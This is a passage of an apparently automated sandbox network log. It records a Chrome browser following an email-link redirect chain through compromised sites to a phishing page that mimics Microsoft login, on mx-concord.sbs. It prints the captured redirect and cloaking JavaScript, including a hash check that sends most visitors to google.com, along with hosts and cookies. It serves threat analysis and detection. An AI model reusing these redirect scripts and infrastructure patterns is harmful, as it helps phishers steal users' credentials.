en-US,en;q=0.9
2024-08-28 20:21:11 UTC	640	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 4.0 X-SL-GetUrlReputation-Verdict: Good X-Robots-Tag: noindex, nofollow X-AspNet-Version: 4.0.30319 X-ServerName: BL0GCC02WS004 X-ServerVersion: 15.20.7918.017 X-ServerLat: 1169 X-SafeLinks-Tracking-Id: c75fd14a-f779-4c54-ee4b-08dcc79ef455 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff X-UA-Compatible: IE=Edge Date: Wed, 28 Aug 2024 20:21:10 GMT Connection: close Content-Length: 207
2024-08-28 20:21:11 UTC	207	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 65 6d 61 69 6c 69 6e 63 2e 6e 65 74 2f 63 2e 6a 73 70 3f 6c 3d 34 37 74 71 64 6a 62 34 26 61 6d 70 3b 73 3d 78 38 38 62 34 77 6b 75 71 65 25 32 33 64 66 73 64 74 6f 73 70 72 7a 76 7a 76 72 65 7a 64 64 77 73 73 73 66 75 6a 63 72 6d 79 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49775	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:10 UTC	551	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:11 UTC	740	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:11 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 12023613 cache-control: public, max-age=31536000 etag: 0x8DB5C3F466DE917 last-modified: Wed, 24 May 2023 10:11:43 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d7b6a4cb-301e-00d4-0e2d-8cc248000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:11 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-08-28 20:21:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49776	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:10 UTC	573	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_92013fd9f2f609d397ae.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:11 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:11 GMT Content-Type: application/x-javascript Content-Length: 35198 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5874816 cache-control: public, max-age=31536000 etag: 0x8DC90CF0D8CB039 last-modified: Thu, 20 Jun 2024 02:16:53 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b883df14-201e-0021-4819-c4e017000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:11 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-08-28 20:21:11 UTC	16384	IN	Data Raw: cf df fe f5 ac b9 d9 0f 36 3f 5f 7c b7 1d 6f 15 51 5e d4 33 ef 28 df 5a 2c f3 29 fc da 57 bf 6a 7f ae 35 ea b5 66 ad 51 6c 15 29 37 55 6f f5 3c 48 90 71 77 12 e4 51 dd f3 b6 f2 24 0e a3 fa 66 db f3 08 1b c6 21 da 4a a2 f9 a4 98 12 22 f9 59 b4 15 aa fe 8f 0b c0 e0 62 10 9d 15 17 07 7a 14 0f 88 54 3a 68 fa f1 c0 d4 4b 0f e3 83 14 ea c2 70 83 81 53 3d f5 7c 20 55 67 17 48 16 6c 6c a4 8d f6 61 bc b1 a1 87 34 be f8 d2 7e 30 a3 8a 14 72 69 a3 e5 a7 8d 8e e7 79 49 63 60 80 04 82 7f 06 ed 83 28 81 e9 c6 ae 90 78 58 68 79 16 5c 58 e8 b3 c1 ce 0e 58 cd 1b 1b c1 e1 60 67 b7 d3 ed 78 5f 2a e0 5e a7 d5 47 74 5a 88 4e 3d 2c e1 dc 68 79 de 33 2c d4 6e 6e 6c 84 a6 15 44 67 1e 42 99 8f ef 5e 9d a4 33 fe 1e 72 3d 3a 4b 2f 1a f0 4f a3 75 81 f8 35 0e c2 14 2f ab 2d a3 07 28 Data Ascii: 6?_\|oQ^3(Z,)Wj5fQl)7Uo<HqwQ$f!J"YbzT:hKpS=\| UgHlla4~0riyIc`(xXhy\XX`gx_*^GtZN=,hy3,nnlDgB^3r=:K/Ou5/-(
2024-08-28 20:21:11 UTC	5125	IN	Data Raw: 66 fb 8b 7a 32 bc a9 c5 0b b9 82 82 22 c7 a4 12 a5 8c 63 b6 dc 75 ae bd 6e 3e ef a8 b1 2e 77 60 a4 00 a4 8b 8b 4d 4e 9a e7 6a 64 1e 3a 96 96 5d ca f8 86 d7 2b f7 3d e4 8e 87 11 b8 e2 9a 3c 5c 63 ae a1 3a 7c 13 2a df f5 7b c8 d3 b7 c9 25 a6 bf aa a1 a8 06 09 f5 26 87 5d a1 d6 82 61 d6 7f 28 c0 d9 fd a1 d0 a8 43 af f4 f1 17 3c ed 26 f3 b4 9b 1d 1c 05 00 1f 55 f1 df e7 72 8b c2 5c 2d d9 78 9b 08 25 09 0a 87 d6 d5 f3 c6 ee ca d6 ce 73 bb 6b d4 72 7f 6d a0 05 69 b3 67 3c e5 01 4e a5 d1 31 0b 4f 50 15 93 ba c9 06 40 8b 52 6e 0b df 85 75 1a 94 7d 65 6c bb 4f c6 30 37 2f b8 5a 10 2a 0f cf eb 5a 19 05 84 b5 fb dc 1c 3a be b7 28 3c 26 73 3e e2 a8 c0 48 6d fe 83 11 40 83 e2 94 07 0a 30 cf e7 35 e8 bf 50 21 e2 5d 6e 29 0d 85 c1 db 43 01 cd 97 dd a1 91 55 e2 70 20 a9 Data Ascii: fz2"cun>.w`MNjd:]+=<\c:\|{%&]a(C<&Ur\-x%skrmig<N1OP@Rnu}elO07/ZZ:(<&s>Hm@05P!]n)CUp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49777	209.208.100.119	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:11 UTC	720	OUT	GET /c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy HTTP/1.1 Host: api.emailinc.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:11 UTC	548	IN	HTTP/1.1 302 Server: nginx Date: Wed, 28 Aug 2024 20:21:11 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close X-Robots-Tag: none Location: https://willyadventures.com/wp-about X-FireDrum-Via: app2, 10.0.1.5:8080 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-transform Referrer-Policy: no-referrer-when-downgrade X-UA-Compatible: IE=Edge X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' app.firedrumemailmarketing.com fdsend.com fdhv1.com;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49780	167.86.102.97	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:12 UTC	671	OUT	GET /wp-about/ HTTP/1.1 Host: willyadventures.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:12 UTC	377	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/7.4.27 content-type: text/html; charset=UTF-8 content-length: 123 date: Wed, 28 Aug 2024 20:21:12 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:21:12 UTC	123	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 22 68 74 74 70 73 3a 2f 2f 61 76 63 6f 2e 63 6f 2e 6a 70 2f 76 6d 2f 4f 61 75 74 68 2d 76 6d 2d 6f 66 66 69 63 65 2d 63 61 6c 6c 65 72 2d 61 70 69 2f 77 69 6e 31 30 2e 70 68 70 22 3b 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script type="text/javascript">window.location.href ="https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php";</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49731	183.90.238.45	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:12 UTC	717	OUT	GET /vm/Oauth-vm-office-caller-api/win10.php HTTP/1.1 Host: avco.co.jp Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://willyadventures.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:15 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-08-28 20:21:15 UTC	844	IN	Data Raw: 33 34 30 0d 0a 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 6d 61 69 6e 5f 6c 69 6e 6b 20 3d 20 22 68 74 74 70 73 3a 2f 2f 70 6f 72 74 61 6c 2e 6d 78 2d 63 6f 6e 63 6f 72 64 2e 73 62 73 2f 3f 6c 69 74 3d 75 70 22 3b 0a 0a 0a 20 20 20 20 69 66 20 28 21 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 29 20 7b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 66 72 61 67 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 0a 0a 0a 20 20 20 20 69 66 20 28 66 72 61 67 6d 65 6e 74 2e 6c 65 6e 67 74 68 20 3c 20 33 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: 340<script> var main_link = "https://portal.mx-concord.sbs/?lit=up"; if (!window.location.hash) { location.href = "https://google.com"; } var fragment = window.location.hash.substring(1); if (fragment.length < 3) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49782	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:14 UTC	709	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0 Sec-WebSocket-Key: 9UlBy97zUIJCiI0FNYTxTw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:16 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: b329c89c-e9a4-4380-8ba3-44e819996300 x-ms-ests-server: 2.1.18794.6 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49786	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:15 UTC	857	OUT	GET /?lit=up HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://avco.co.jp/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0
2024-08-28 20:21:19 UTC	783	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 62882 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: cfd07b6c-9ff0-4ca9-8019-371b91664400 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:19 UTC	13677	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 59 77 ea d8 92 30 f8 9e bf 82 c3 ca 3a 07 ca 18 33 0f 76 72 5d 18 03 c6 8c 66 f2 74 dd 5e 42 da 80 6c 21 61 0d 0c 3e c7 bc 7d bf a4 1f 7a d5 43 bf f5 3f b8 7f ac 23 62 6f 09 81 ed cc 73 87 ea ae 6f 55 de aa 3c 96 b6 f6 10 3b e6 88 1d 12 bf 7d 39 6f 97 fa b7 9d 72 60 6a cf b4 bf fc f2 1b fe 09 c8 9a 64 59 85 60 30 a0 a8 66 21 a8 d9 66 30 a0 49 fa a4 10 64 7a f0 2f bf 04 7e 9b 32 49 81 bf 81 df 6c d5 d6 18 5e 05 7a ea 44 0f a8 7a c0 36 02 6b c3 31 03 92 2c 1b 8e 6e 63 a7 23 af d7 6f 33 66 4b 01 d9 d0 6d a6 db 85 a0 cd 56 f6 11 2e 78 12 90 a7 92 69 31 bb e0 d8 e3 c3 5c 10 80 b1 e7 87 ec c5 51 17 85 60 89 77 3f ec af e7 2c 78 f4 c1 34 b5 72 81 29 13 b6 3b ea e6 70 50 3c 2c 19 b3 b9 64 ab 23 ed e3 81 4b 55 b1 a7 05 85 2d 54 Data Ascii: Yw0:3vr]ft^Bl!a>}zC?#bosoU<;}9or`jdY`0f!f0Idz/~2Il^zDz6k1,nc#o3fKmV.xi1\Q`w?,x4r);pP<,d#KU-T
2024-08-28 20:21:19 UTC	16384	IN	Data Raw: 37 fc cd 3d d5 62 df 22 df 86 a3 e7 cb 3a fc 2d 49 fa 5f 57 89 ac 0d ff c4 2c 46 7f a0 b5 e8 86 ed 70 ad 1b 66 69 06 7f 97 c5 a5 5c 85 bf d0 cb fd 30 25 dc 81 a2 82 7f eb 76 6f 34 e3 77 ed a5 0e ab cc 99 69 d3 97 3b 70 06 fe cd 2e 1c 4a 2f 0c c0 c5 23 1d 3f d5 c6 25 cd b0 98 02 0d bd f5 6c 64 68 d1 77 53 f0 76 9c 24 eb b4 af 86 3a 0e 9e 9c ad 27 35 04 52 6d f5 65 bc a7 0f c3 c0 85 d3 2d 76 1c f8 cb 8b d0 70 d6 ca fc e6 0c d7 75 46 48 83 91 0b 03 82 ec 45 e0 70 2d be 40 84 73 62 b5 5c 45 a0 0f ee dd 5c 2b 5c e2 a9 00 59 0a b8 36 96 f8 0e 27 0e 70 2c 76 ce 40 7b e2 8f 21 2a 2d fc 6d 45 64 b7 15 ce 8a b8 54 2d fc 17 a2 3d fc 23 e1 3f e3 ed e4 8b 8b d2 fa 02 fe de 4c a6 4a 13 c1 bd 55 fa b8 31 e9 a5 45 20 56 c6 ab 05 62 b5 d4 1b d7 1b 08 32 88 22 7e 50 a4 88 Data Ascii: 7=b":-I_W,Fpfi\0%vo4wi;p.J/#?%ldhwSv$:'5Rme-vpuFHEp-@sb\E\+\Y6'p,v@{!*-mEdT-=#?LJU1E Vb2"~P
2024-08-28 20:21:19 UTC	16384	IN	Data Raw: 88 65 e9 f8 c6 83 77 67 9d f3 8f 17 07 e7 ef 08 a6 ef 24 9f fb d8 3e 6e 1f 9c bf 79 77 f6 77 3b 6c 9f 9d ab c2 c7 7c ae 73 b1 7f 70 f2 aa d3 79 73 76 a8 0a 46 02 aa 5a dc e8 25 37 69 67 ac e5 35 2a d0 9f b4 3d 63 1d 25 b9 b3 b2 f1 78 32 99 6f 41 62 b2 98 96 9d da 5a 16 83 a4 ef a5 b4 6c 66 ce 39 ce f7 2e b0 65 80 f8 9f cc cc 04 a9 41 3b b4 29 9d d8 ce 31 b0 c4 e8 d0 e8 f1 20 f0 0c e4 51 32 5d fb f4 3a 5b b4 57 31 a8 60 bb 95 df 26 bb e1 6d ae fb 07 ec 3e 23 d1 55 62 bf 9f 98 af 74 e6 1b 02 ee 4d f8 9a 19 51 41 42 43 68 c8 39 ba 03 6c e8 a1 cf 97 bc e8 4c d2 a1 d4 ea 15 c1 76 77 37 03 5f 66 22 78 c2 51 7b cd a6 b3 72 3c d3 c5 6a ec e0 65 4e 80 b3 5c 1c 4a 20 24 19 2b 15 df dd d1 74 47 2d cc c1 68 e4 c4 c7 9a 85 75 18 4c 3a b4 ac 7e 90 d7 e3 2d 11 d7 bc 64 Data Ascii: ewg$>nyww;l\|spysvFZ%7ig5*=c%x2oAbZlf9.eA;)1 Q2]:[W1`&m>#UbtMQABCh9lLvw7_f"xQ{r<jeN\J $+tG-huL:~-d
2024-08-28 20:21:19 UTC	16384	IN	Data Raw: 0f 07 12 fd 8a 00 c6 65 eb 97 e4 a9 23 15 f6 22 f6 87 82 d6 96 c1 22 c9 07 4f e4 5b 5d 6b 00 19 61 65 0a 4a e3 aa 48 f4 ba 46 b9 68 04 8b 44 91 6a 73 a0 5b cd 1f 19 3e 8e c7 ea 80 57 1c 82 fa 08 80 e7 51 bd 48 72 88 c7 fe 5a be 79 49 11 1f 72 d0 ea b9 c6 11 50 a3 b2 49 e7 d2 ae cb e5 2f 48 e7 e7 60 b9 cc cb ba cb b3 8c e0 32 ed 38 6a d5 52 fb ac 7b 8b a3 56 0a d0 35 1c b3 ba 80 06 88 91 49 b9 00 ed 6e 10 75 a1 e0 e7 dc ec 71 3e 61 5f 13 25 bb 50 16 e3 8e bc 99 f9 89 27 79 0b 2f b3 6d c5 c2 6b 76 09 95 08 9d 97 99 db 24 3d fa ac bb 27 8f 3b ec ad 21 ce 76 34 36 e9 65 f5 80 7c 53 03 c2 c2 cb f2 5b 9a b5 e3 12 6e 87 1b fe 29 7c 5f 9a 65 e3 20 c9 55 60 9f 95 11 eb 38 45 18 55 f9 49 9e 53 c0 06 72 f0 73 a5 12 62 c8 29 28 95 df b3 03 05 c0 e1 36 6d 74 d5 7b 02 Data Ascii: e#""O[]kaeJHFhDjs[>WQHrZyIrPI/H`28jR{V5Inuq>a_%P'y/mkv$=';!v46e\|S[n)\|_e U`8EUISrsb)(6mt{
2024-08-28 20:21:19 UTC	53	IN	Data Raw: 78 aa 46 e9 c7 02 c1 c3 dc 45 6c ea ff 7f 33 f9 d7 ff f4 54 96 04 f5 4f 9f 5e 5e fe 9d 85 7d 84 81 bf ff 05 67 20 bd bd f9 fb 5f ff 07 66 85 ce 75 c1 a7 02 00 Data Ascii: xFEl3TO^^}g _fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49789	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
